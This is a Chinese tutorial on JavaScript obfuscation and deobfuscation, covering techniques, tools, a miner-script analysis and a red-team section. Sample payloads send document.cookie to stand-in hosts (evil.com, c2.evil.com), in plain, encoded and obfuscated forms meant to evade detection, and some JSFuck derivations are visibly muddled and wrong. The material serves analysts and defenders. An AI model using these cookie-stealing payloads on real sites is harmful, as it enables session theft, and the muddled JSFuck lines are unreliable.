目录
一、JS混淆基础概念
混淆 vs 加密 vs 打包
| 方式 | 原理 | 可逆性 | 目的 |
|---|---|---|---|
| Minify | 移除空格、缩短变量名 | 基本可读 | 减小体积 |
| Obfuscate | 变换代码结构 | 可逆(需要反混淆) | 增加阅读难度 |
| Encrypt | 加密代码+eval解密 | 可逆(运行时解密) | 隐藏逻辑 |
| Pack | eval包裹压缩代码 | 可逆 | 规避检测 |
为什么需要反混淆
- 分析恶意脚本:钓鱼页面、挖矿脚本、XSS payload
- 逆向Web应用:分析前端逻辑、API端点
- CTF挑战:JS逆向题目的常规操作
- 红队规避:理解防御检测机制
二、常见混淆技术
1. 变量名混淆
// 原始
function login(username, password) {
return sendRequest('/api/login', { user: username, pass: password });
}
// 混淆
function a(b, c) {
return d('/api/login', { u: b, p: c });
}2. 字符串编码
// 原始
fetch('https://evil.com/steal?cookie=' + document.cookie);
// Hex编码
fetch('\x68\x74\x74\x70\x73\x3a\x2f\x2f\x65\x76\x69\x6c\x2e\x63\x6f\x6d');
// Unicode编码
fetch('\u0068\u0074\u0074\u0070\u0073\u003a...');
// Base64
eval(atob('ZmV0Y2goJ2h0dHBzOi8vZXZpbC5jb20vc3RlYWw/Y29va2llPScrZG9jdW1lbnQuY29va2llKTs='));3. 控制流平坦化
// 原始
function process(x) {
if (x > 10) { return x * 2; }
else { return x + 1; }
}
// 混淆(Switch + 状态机)
function process(x) {
var state = 0;
while (true) {
switch (state) {
case 0: if (x > 10) { state = 1; break; } else { state = 2; break; }
case 1: return x * 2;
case 2: return x + 1;
}
}
}4. 死代码注入
// 混淆:注入大量不执行的代码
function calc(a, b) {
var _x = 12345;
var _y = Math.random() * 99999;
if (_x === _y) { dead_code_1(); dead_code_2(); }
// ... 实际逻辑
return a + b;
}5. 表达式拆分
// 原始
var result = x + y * z;
// 混淆
var _0x1a2b = 'x';
var _0x1a2c = 'y';
var _0x1a2d = 'z';
var _0x1a2e = this[_0x1a2b];
var _0x1a2f = this[_0x1a2c] * this[_0x1a2d];
var result = this[_0x1a2e] + this[_0x1a2f];三、JSFuck与无字母编程
JSFuck原理
仅用6个字符 []()!+ 表达完整的JavaScript:
false → ![]
true → !![]
undefined → [][[]]
NaN → +[![]]
// 构造数字
0 → +[]
1 → +!![]
2 → !+[]+!![] // (+[] = 0, +!![] = 1, !+[]+!![] = "truefalse"?)
2 → !![]+!![] // (true+true = 2? wait...)
// 实际:!![]+!![] → true+true → "truetrue" → (this is wrong)
// JSFuck: (+!![])+(+!![]) → 1+1 → 2
2 → (+!![])+(+!![])
// 构造字符串
'a' → (false+"")[1] → "false"[1] → 'a'
'l' → (false+"")[2] → "false"[2] → 'l'
'e' → (true+"")[3] → "true"[3] → 'e'
'r' → (true+"")[1] → "true"[1] → 'r'
't' → (true+"")[0] → "true"[0] → 't'
// 构造 'constructor'
// 过于复杂,详见 JSFuck encoder
// 最终执行任意代码
[][(![]+[])[+[]]+...] // 等同于 Function('alert(1)')()AAEncode / JJEncode
// AAEncode 用颜文字表示代码
゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; ...
// JJEncode - 类似
$=~[];$={___:++$,$$$$:...在线转换工具
四、反混淆方法论
分层反混淆策略
层1:美化 (Beautify)
→ 统一格式、缩进
层2:常量折叠
→ 静态计算表达式:7*7 → 49
层3:字符串解密
→ 解码 Base64/Hex/Unicode 字符串
层4:控制流还原
→ 将Switch状态机还原为if/else
层5:变量重命名
→ _0x1a2b → meaningfulName
层6:死代码移除
→ 删除永远不会执行的代码
层7:最终分析
→ 阅读还原后的逻辑
手动反混淆流程
1. 打开Chrome DevTools → Sources → Snippets
2. 复制混淆代码到Snippet
3. 用 Prettier 格式化
4. 查找 eval/atob/String.fromCharCode 调用
5. 替换eval为console.log → 查看解密结果
6. 逐层剥开:解密 → 格式化 → 再解密
7. 最后得到可读代码
万能反混淆器(浏览器Console)
// 技巧1:劫持eval查看解密结果
const originalEval = window.eval;
window.eval = function(code) {
console.log('eval called with:', code);
return originalEval(code);
};
// 技巧2:劫持document.write查看写入内容
const originalWrite = document.write;
document.write = function(html) {
console.log('document.write:', html);
return originalWrite.apply(document, arguments);
};
// 技巧3:劫持Function构造器
const originalFunction = Function;
window.Function = function() {
console.log('new Function:', arguments);
return originalFunction.apply(this, arguments);
};五、常用反混淆工具
在线工具
| 工具 | 用途 | 特点 |
|---|---|---|
| de4js | JS反混淆 | 自动检测混淆类型 |
| JS Nice | 统计反混淆 | ML驱动、变量名推断 |
| Prettier | 格式化 | 处理minified代码 |
| Babel | AST操作 | 自定义转换 |
| AST Explorer | AST可视化 | 理解代码结构 |
命令行工具
# de4js CLI
npx de4js obfuscated.js
# js-beautify
npx js-beautify obfuscated.js -o beautified.js
# webcrack (反打包)
npx webcrack bundle.js -o unpacked/
# retype (类型推断 + 重命名)
npx retype obfuscated.jsPython反混淆
# 自动化eval解密脚本
import re
import base64
with open('obfuscated.js') as f:
code = f.read()
while True:
# 查找并解码 atob(base64)
match = re.search(r'atob\([\'"]([A-Za-z0-9+/=]+)[\'"]\)', code)
if not match:
break
decoded = base64.b64decode(match.group(1)).decode()
code = code.replace(match.group(0), repr(decoded))
# 替换 eval() 为注释
code = re.sub(r'eval\(', '/* eval( */ (', code)
print(code)六、实战反混淆流程
案例:解密多层混淆挖矿脚本
原始代码:
eval(function(p,a,c,k,e,d){e=function(c){return c};...}('...',10,10,'...'.split('|')))解包步骤:
// Step 1: 用JS Nice或de4js解外层packer
// → 得到数组映射的eval代码
// Step 2: 替换eval为console.log,查看解密后的代码
eval → console.log
// → 发现调用atob()解密base64字符串
// Step 3: 手动atob解码
atob('d3NzOi8vIW...') → 'wss://mining-pool.com/...'
// Step 4: 发现WebSocket连接到矿池
// → 确认为Cryptocurrency MinerChrome DevTools Snippet实战
// 1. 创建新的Snippet
// 2. 粘贴混淆代码
// 3. 在末尾添加:
setTimeout(() => {
// 5秒后打印可能解密的全局变量
for (let key in window) {
if (key.startsWith('_') || key.length < 4) {
try { console.log(key, '=', window[key]); } catch(e) {}
}
}
}, 5000);
// 4. 运行Snippet
// 5. 观察Console输出 → 推断混淆逻辑七、恶意代码分析中的JS
常见恶意JS特征
| 特征 | 可能含义 |
|---|---|
new WebSocket('wss://...') | 矿池连接 / C2通信 |
navigator.sendBeacon() | 数据外泄(隐蔽) |
document.cookie + fetch | Cookie窃取 |
document.getElementById('password') + event listener | 键盘记录 |
new RTCPeerConnection() | 内网IP泄露 |
document.body.innerHTML = ... | 页面替换(钓鱼) |
if(navigator.webdriver) | 反自动化检测 |
| 大段Base64 + eval | 混淆/加密payload |
自动分析SOP
1. 获取JS文件 → wget/curl
2. 美化 → Prettier
3. 解包 → de4js / 手动eval替换
4. 寻找关键API调用 → grep 'fetch\|WebSocket\|eval\|cookie'
5. 动态分析 → 在隔离环境执行(VM/沙箱)
- Chrome Headless + 代理(mitmproxy)
- 或 Windows Sandbox / VM
6. 提取IOC → URL、域名、IP、钱包地址
八、红队视角总结
混淆在红队中的应用
// 红队Payload混淆示例
// 版本1:清晰版
fetch('https://c2.evil.com/report', {
method: 'POST',
body: JSON.stringify({ cookie: document.cookie, url: location.href })
});
// 版本2:混淆版(对抗简单检测)
var _0x=atob('aHR0cHM6Ly9jMi5ldmlsLmNvbS9yZXBvcnQ=');
var _1x={method:'POST',body:JSON.stringify({c:document.cookie,u:location.href})};
new Image().src=_0x+'?'+btoa(JSON.stringify(_1x));
// 版本3:自定义编码(对抗高级检测)
// Layer 1: XOR with rotating key
// Layer 2: Custom base62 encoding
// Layer 3: Split across multiple setTimeout calls工具速查
| 工具 | 类别 | 用途 |
|---|---|---|
| de4js | 反混淆 | 自动检测混淆类型 |
| JS Nice | 反混淆 | ML驱动名称推断 |
| webcrack | 反打包 | Webpack解包 |
| Babel AST | 底层 | 自定义反混淆转换 |
| obfuscator.io | 混淆 | JS代码混淆 |
| javascript-obfuscator | 混淆 | 商业级混淆(CLI) |
返回 JavaScript 总目录 | 前端基础总目录